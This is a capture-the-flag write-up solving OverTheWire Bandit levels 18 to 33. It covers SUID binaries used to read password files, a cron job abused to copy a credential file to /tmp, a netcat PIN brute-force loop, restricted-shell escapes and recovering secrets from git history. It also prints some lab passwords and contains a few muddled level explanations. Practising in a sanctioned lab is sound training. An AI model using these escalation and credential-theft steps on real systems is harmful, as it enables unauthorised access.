OverTheWire Bandit Part 2 WriteUp
Welcome to part 2 of the Bandit challenge! In this section, I’ll be covering levels 18 to 32, diving deeper into Linux commands, privilege escalation, and other essential security concepts. Stay tuned as we tackle the next set of challenges!
Level 18
Level Goal:
- The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH.
For this task we can use the command ssh
.
Command:
1
ssh -p 2220 bandit18@bandit.labs.overthewire.org bash
Breakdown:
ssh
→ Starts an SSH connection.-p 2220
→ Specifies port2220
instead of the default22
.bandit18@bandit.labs.overthewire.org
→ Connects asbandit18
to the server.bash
→ Starts a new Bash shell after connecting, bypassing any restrictions set in.bashrc
.
This approach helps avoid potential command restrictions or environment limitations applied by .bashrc
.
After submitting the bandit18
password, we will not see the shell prompt, but we do have access to a file named readme
that contains the bandit19
password
1
cat readme
Level 19
Level Goal:
- To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary.
In this case we will learn what is a SUID binary and how to exploit it if possible.
What is a SUID Binary?
A SUID (Set User ID) binary is an executable file in Linux that runs with the permissions of its owner instead of the user executing it. This is indicated by the s
permission in the owner’s execute bit (rwsr-xr-x
). It is commonly used for tasks requiring elevated privileges, such as passwd
. However, if misconfigured, a SUID binary can be exploited for privilege escalation, allowing unauthorized users to execute commands with higher permissions than they should have.
Once inside of the machine we can see one file inside our current directory, named bandit20-do
, just by the name of the file and since it’s a SUID file owned by bandit20
, we can guess that it allow us to execute commands as bandit20
.
Let’s execute the command with no arguments to see what it does.
1
2
3
4
./bandit20-do
Run a command as another user.
Example: ./bandit20-do id
We were right, then we can now try to read the bandit20
password file through this binary.
1
./bandit20-do cat /etc/bandit_pass/bandit20
After executing you should see the bandit21
password in screen.
Level 20
Level Goal:
- There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).
For this task we can use the command nc
.
To retrieve the password for the next level, we need to log in twice via SSH: once as to set up the listener and once to run the suconnect
binary.
Step 1: Log in as bandit20
and start a listener
1
2
ssh -p 2220 bandit20@bandit.labs.overthewire.org
nc -lvnp 8888
ssh -p 2220 bandit20@bandit.labs.overthewire.org
→ Logs into the Bandit server asbandit20
.nc -lvnp 8888
→ Starts a Netcat listener on port8888
to receive incoming connections.
Step 2: Log in as bandit20
in a new terminal and run suconnect
1
2
ssh -p 2220 bandit20@bandit.labs.overthewire.org
./suconnect 8888
ssh -p 2220 bandit20@bandit.labs.overthewire.org
→ Logs into the server asbandit20
../suconnect 8888
→ Runs thesuconnect
binary, instructing it to connect to port8888
onlocalhost
.
Step 3: Send the password
Once the connection is established, enter the password for bandit20
in the Netcat listener. If correct, the next level’s password (bandit21
) will be sent back.
Level 21
Level Goal:
- A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
What is a CronJob?
A cron job is a scheduled task in Unix-based systems that runs automatically at specified intervals using the cron daemon. It is defined in the crontab (cron table) file, where users set commands to execute at specific times, dates, or periods.
A typical entry follows this format:
1
* * * * * command_to_run
Each *
represents minute, hour, day, month, and day of the week, allowing precise scheduling. Cron jobs are commonly used for automation, like backups, system maintenance, and periodic scripts execution.
Let’s see which cronjobs are settled, we can see this in most cases taking a look at /etc/cron.d/
.
1
2
3
4
5
6
7
8
ls -l /etc/cron.d/
total 24
-rw-r--r-- 1 root root 120 Sep 19 07:08 cronjob_bandit22
-rw-r--r-- 1 root root 122 Sep 19 07:08 cronjob_bandit23
-rw-r--r-- 1 root root 120 Sep 19 07:08 cronjob_bandit24
-rw-r--r-- 1 root root 201 Apr 8 2024 e2scrub_all
-rwx------ 1 root root 52 Sep 19 07:10 otw-tmp-dir
-rw-r--r-- 1 root root 396 Jan 9 2024 sysstat
There is one file named cronjob_bandit22
, let’s see what it does.
1
2
3
4
cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
Every minute a bash script located at /usr/bin/cronjob_bandit22.sh
, let’s see what the script does.
1
2
3
4
5
cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
This Bash script does two things:
- Changes file permissions – It sets the permissions of
/tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
to644
, meaning it is readable by everyone but writable only by the owner. - Copies the password – It writes the contents of
/etc/bandit_pass/bandit22
(the password forbandit22
) into the temporary file.
We can see the bandit22
password stored at /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
.
1
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Level 22
Level Goal:
- A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
Let’s see which cronjobs are settled, we can see this in most cases taking a look at /etc/cron.d/
.
1
2
3
4
5
6
7
8
ls -l /etc/cron.d/
total 24
-rw-r--r-- 1 root root 120 Sep 19 07:08 cronjob_bandit22
-rw-r--r-- 1 root root 122 Sep 19 07:08 cronjob_bandit23
-rw-r--r-- 1 root root 120 Sep 19 07:08 cronjob_bandit24
-rw-r--r-- 1 root root 201 Apr 8 2024 e2scrub_all
-rwx------ 1 root root 52 Sep 19 07:10 otw-tmp-dir
-rw-r--r-- 1 root root 396 Jan 9 2024 sysstat
There is one file named cronjob_bandit23
, let’s see what it does.
1
2
3
4
cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
Every minute a bash script located at /usr/bin/cronjob_bandit23.sh
, let’s see what the script does.
1
2
3
4
5
6
7
8
9
10
cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
What the Script Does
myname=$(whoami)
:- This command retrieves the current username using
whoami
and stores it in the variablemyname
.
- This command retrieves the current username using
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
:This part generates a filename based on the current username:
echo I am user $myname
: Creates a string likeI am user bandit22
(if the current user isbandit22
).md5sum
: Computes the MD5 hash of the string.cut -d ' ' -f 1
: Extracts only the hash value (the first field) from themd5sum
output, which includes the hash and a filename.
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
:- This prints a message indicating that the script is copying the password file for the current user to a file in
/tmp
with the generated hash as its name.
- This prints a message indicating that the script is copying the password file for the current user to a file in
cat /etc/bandit_pass/$myname > /tmp/$mytarget
:- This copies the contents of the password file for the current user (
/etc/bandit_pass/$myname
) to the file/tmp/$mytarget
.
- This copies the contents of the password file for the current user (
How to Find the Bandit23 Password
The script is part of a cron job that runs periodically. Since the cron job is running as bandit23
, it will execute the script with bandit23
as the user. This means:
The script will generate a filename based on the string
I am user bandit23
.It will copy the password for
bandit23
to a file in/tmp
with the generated hash as its name.
To find the password for bandit23
, you can simulate what the script does:
- Generate the filename:
Run the following command to compute the MD5 hash of the stringI am user bandit23
:1
echo I am user bandit23 | md5sum | cut -d ' ' -f 1
This will output a hash like
8ca319486bfbbc3663ea0fbe81326349
.Locate the file in
/tmp
:
The password forbandit23
will be stored in a file in/tmp
with the name of the hash you just generated. For example:1
cat /tmp/8ca319486bfbbc3663ea0fbe81326349
This will display the password for bandit23
.
Level 23
Level Goal:
- A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
Let’s see which cronjobs are settled, we can see this in most cases taking a look at /etc/cron.d/
.
1
2
3
4
5
6
7
8
ls -l /etc/cron.d/
total 24
-rw-r--r-- 1 root root 120 Sep 19 07:08 cronjob_bandit22
-rw-r--r-- 1 root root 122 Sep 19 07:08 cronjob_bandit23
-rw-r--r-- 1 root root 120 Sep 19 07:08 cronjob_bandit24
-rw-r--r-- 1 root root 201 Apr 8 2024 e2scrub_all
-rwx------ 1 root root 52 Sep 19 07:10 otw-tmp-dir
-rw-r--r-- 1 root root 396 Jan 9 2024 sysstat
There is one file named cronjob_bandit24
, let’s see what it does.
1
2
3
4
cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
Every minute a bash script located at /usr/bin/cronjob_bandit24.sh
, let’s see what the script does.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then
timeout -s 9 60 ./$i
fi
rm -f ./$i
fi
done
What the Script Does
myname=$(whoami)
:- Retrieves the current username (in this case,
bandit23
).
- Retrieves the current username (in this case,
cd /var/spool/$myname/foo
:- Changes the working directory to
/var/spool/bandit23/foo
.
- Changes the working directory to
for i in * .*
:- Loops through all files in the directory, including hidden files (
.
and..
are excluded).
- Loops through all files in the directory, including hidden files (
owner="$(stat --format "%U" ./$i)"
:- Retrieves the owner of the file using the
stat
command.
- Retrieves the owner of the file using the
if [ "${owner}" = "bandit23" ]; then
:- Checks if the file is owned by
bandit23
. If so, it executes the file with a 60-second timeout.
- Checks if the file is owned by
timeout -s 9 60 ./$i
:- Executes the file and kills it if it runs for more than 60 seconds.
rm -f ./$i
:- Deletes the file after execution.
Exploiting the Script
Since the script runs as bandit24
and executes files owned by bandit23
, you can place a script in /var/spool/bandit24/foo
that copies the password for bandit24
to a location where you can read it (e.g., /tmp
).
Steps to Exploit
Create a Script:
Write a script that copies the password file forbandit24
(/etc/bandit_pass/bandit24
) to a location where you can read it (e.g.,/tmp
).Example script (
exploit.sh
):1 2
#!/bin/bash cat /etc/bandit_pass/bandit24 > /tmp/bandit24_password
Place the Script in
/var/spool/bandit24/foo
:
- Copy the script to
/var/spool/bandit24/foo
and ensure it’s owned bybandit23
.
1
2
3
4
5
6
7
8
9
# Create the script
echo '#!/bin/bash' > /tmp/exploit.sh
echo 'cat /etc/bandit_pass/bandit24 > /tmp/bandit24_password' >> /tmp/exploit.sh
# Make it executable
chmod +x /tmp/exploit.sh
# Copy it to /var/spool/bandit24/foo
cp /tmp/exploit.sh /var/spool/bandit24/foo/
Wait for the Cron Job to Execute:
- The cron job will eventually run the script, execute it as
bandit24
, and copy the password forbandit24
to/tmp/bandit24_password
.
- The cron job will eventually run the script, execute it as
Retrieve the Password:
- Once the cron job has run, read the password from
/tmp/bandit24_password
:1
cat /tmp/bandit24_password
- Once the cron job has run, read the password from
Level 24
Level Goal:
- A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
For this task I’ve created a bash script, that will generate every combination from 0000
to 9999
.
1
2
3
4
5
6
7
#!/bin/bash
for i in {0000..9999}; do
echo "gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 $i"
done
What the Script Does
for i in {0000..9999}
:- Loops through all 4-digit combinations from
0000
to9999
.
- Loops through all 4-digit combinations from
echo "gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 $i"
:- For each iteration, it prints the password for
bandit24
(gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8
) followed by the current 4-digit pincode ($i
).
- For each iteration, it prints the password for
Then, since my script do not send any data, we have to submit each combination through netcat
, we can achieve this piping the script with the netcat
connection.
1
./exploit.sh | nc 127.0.0.1 30002
What This Command Does
./exploit.sh
:- Executes your script, which generates all possible combinations of the password for
bandit24
and a 4-digit pincode.
- Executes your script, which generates all possible combinations of the password for
| nc 127.0.0.1 30002
:- Pipes the output of your script to
nc
(Netcat), which sends the data to the daemon listening on127.0.0.1
(localhost) at port30002
.
- Pipes the output of your script to
When the correct combination is found, the daemon will return the password for bandit25
.
Level 25
Level Goal
- Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.
For this task we can start by checking what shell is assigned to the user bandit26
.
1
2
cat /etc/passwd | grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
The user bandit26
is using a binary called showtext
as shell, let’s see what this binary is.
1
2
3
4
5
6
7
8
cat /usr/bin/showtext
#!/bin/sh
export TERM=linux
exec more ~/text.txt
exit 0
What the Script Does
Sets the
TERM
environment variable tolinux
to ensure proper terminal behavior.Opens the file
~/text.txt
using themore
pager, allowing the user to view its contents.The script terminates when the user exits the
more
pager.
If we dig a bit in the more
help page, we can learn that we can execute commands once inside of a page, so if we force more
to open as pager and not just a cat
, we can try to see the gain an unrestricted shell.
We can easily force more
to act as a pager by resizing our shell into a smaller one, then just log in as bandit26
and you should see a message at the bottom: --more-- (66%)
.
Then we can execute commands pressing the key v
and then writing the next commands:
1
2
:set shell=/bin/bash
:shell
After executing we should have access to a shell as bandit26
.
Level 26
Level Goal:
- Good job getting a shell! Now hurry and grab the password for bandit27!
This level is entirely the same as the Level 20.
Once inside of the machine we can see one file inside our current directory, named bandit27-do
, just by the name of the file and since it’s a SUID file owned by bandit27
, we can guess that it allow us to execute commands as bandit27
.
Let’s execute the command with no arguments to see what it does.
1
2
3
4
./bandit27-do
Run a command as another user.
Example: ./bandit27-do id
We were right, then we can now try to read the bandit27
password file through this binary.
1
./bandit27-do cat /etc/bandit_pass/bandit27
After executing you should see the bandit28
password in screen.
Level 27
Level Goal:
- There is a git repository at
ssh://bandit27-git@localhost/home/bandit27-git/repo
via the port2220
. The password for the userbandit27-git
is the same as for the userbandit27
. - Clone the repository and find the password for the next level.
Let’s clone the repository and see what are we facing.
1
git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo
After it gets downloaded we get into the directory named repo
and after listing the content we can see a README
file.
1
2
3
cd repo
ls -l
cat README | awk 'NF{print $NF}'
Inside of the README
file we can find the password of the user bandit28
Level 28
Level Goal:
- There is a git repository at
ssh://bandit28-git@localhost/home/bandit28-git/repo
via the port2220
. The password for the userbandit28-git
is the same as for the userbandit28
. - Clone the repository and find the password for the next level.
Let’s clone the repository and see what are we facing.
1
git clone ssh://bandit28-git@localhost:2220/home/bandit28-git/repo
After it gets downloaded we get into the directory named repo
and after listing the content we can see a README.md
file.
1
2
cd repo
ls -l
The README.md
file contains the following content:
1
2
3
4
5
6
7
# Bandit Notes
Some notes for level29 of bandit.
## credentials
- username: bandit29
- password: xxxxxxxxxx
There is a censured password field, but this repository may have suffered commits and the password has been visible in the past.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
git log -p
commit 817e303aa6c2b207ea043c7bba1bb7575dc4ea73 (HEAD -> master, origin/master, origin/HEAD)
Author: Morla Porla <morla@overthewire.org>
Date: Thu Sep 19 07:08:39 2024 +0000
fix info leak
diff --git a/README.md b/README.md
index d4e3b74..5c6457b 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for level29 of bandit.
## credentials
- username: bandit29
-- password: 4pT1t5DENaYuqnqvadYs1oE4QLCdjmJ7
+- password: xxxxxxxxxx
git log
: Shows the commit history, including commit hashes, authors, dates, and commit messages.-p
(or--patch
): Adds the “diff” (changes) for each commit, showing exactly what was added or removed in that commit.
In the results we can see that there is a commit named fix info leak
that shows that the password field has been changed from the password to a censored password.
Level 29
Level Goal:
- There is a git repository at
ssh://bandit29-git@localhost/home/bandit29-git/repo
via the port2220
. The password for the userbandit29-git
is the same as for the userbandit29
. - Clone the repository and find the password for the next level.
Let’s clone the repository and see what are we facing.
1
git clone ssh://bandit29-git@localhost:2220/home/bandit29-git/repo
After it gets downloaded we get into the directory named repo
and after listing the content we can see a README.md
file.
1
2
cd repo
ls -l
The README.md
file contains the following content:
1
2
3
4
5
6
7
# Bandit Notes
Some notes for bandit30 of bandit.
## credentials
- username: bandit30
- password: <no passwords in production!>
In this case after executing git log -p
we don’t see any change, but we can try to see if there is any change in other branch.
1
2
3
4
5
git branch -r
origin/HEAD -> origin/master
origin/dev
origin/master
origin/sploits-dev
git branch
: Manages branches in your repository.-r
(or--remotes
): Specifies that only remote-tracking branches should be listed.
The dev
branch looks interesting, so let’s migrate to the dev
branch.
1
git checkout dev
git checkout
: Switches to a branch or commit.dev
: The branch you want to switch to.
Once inside if we try opening the README.md
file we can see that the password is now in the password field.
Level 30
Level Goal:
- There is a git repository at
ssh://bandit30-git@localhost/home/bandit30-git/repo
via the port2220
. The password for the userbandit30-git
is the same as for the userbandit30
. - Clone the repository and find the password for the next level.
Let’s clone the repository and see what are we facing.
1
git clone ssh://bandit30-git@localhost:2220/home/bandit30-git/repo
After it gets downloaded we get into the directory named repo
and after listing the content we can see a README.md
file.
1
2
cd repo
ls -l
The README.md
file contains the following content:
1
2
cat README.md
just an epmty file... muahaha
We will find nothing in the logs and branches, so let’s see if there is any tag.
1
2
3
git tag
secret
- This will display all the tags in your repository.
There is a tag named secret, let’s see what’s inside.
1
git show secret
This will display the password for bandit31
.
Level 31
Level Goal:
- There is a git repository at
ssh://bandit31-git@localhost/home/bandit31-git/repo
via the port2220
. The password for the userbandit31-git
is the same as for the userbandit31
. - Clone the repository and find the password for the next level.
Let’s clone the repository and see what are we facing.
1
git clone ssh://bandit31-git@localhost:2220/home/bandit31-git/repo
After it gets downloaded we get into the directory named repo
and after listing the content we can see a README.md
file.
1
2
cd repo
ls -l
The README.md
file contains the following content:
1
2
3
4
5
6
7
cat README.md
This time your task is to push a file to the remote repository.
Details:
File name: key.txt
Content: 'May I come in?'
Branch: master
It is asking us to make a commit with the conditions that we can see above, so let’s start by creating the file key.txt
and adding the content May I come in?
.
1
echo "May I come in?" > key.txt
Then we have to add the file to t
1
2
3
git add -f key.txt
git commit -m "Adding new key"
git push -u origin master
Summary of the Workflow:
Force-add
key.txt
to the staging area, even if it’s ignored.Commit the changes with a message describing what was done.
Push the changes to the
master
branch on the remote repository (origin
) and set up tracking for future pushes/pulls.
After pushing the changes, we should see the password of the user bandit32
in the output.
Level 32
Level Goal:
- After all this
git
stuff, it’s time for another escape. Good luck!
In this level we are facing a shell called the UPPERCASE SHELL
, this shell changes all lower case letters to upper case letters, this means that we can’t execute any command.
In most UNIX-like systems, there is a universal variable, $0
, which typically refers to the current shell (e.g., bash
). When you execute $0
, it spawns a new instance of the shell, potentially providing an unrestricted shell environment.
1
$0
Once with a normal bash, we can read the bandit33
password at /etc/bandit_pass/bandit33
Level 33
There is no level 33, after login as bandit33
we will see just a congratulation file.
So that means that this level is the last one.
Conclusion
We’ve now completed the Bandit wargame, having tackled its challenges and honed our Linux and security skills. Thank you to OverTheWire for this invaluable learning experience.
Whether you’re starting out or advancing your knowledge, these exercises provide a solid foundation for further exploration in cybersecurity.
Thank you for following along. Keep learning, practicing, and Happy Hacking.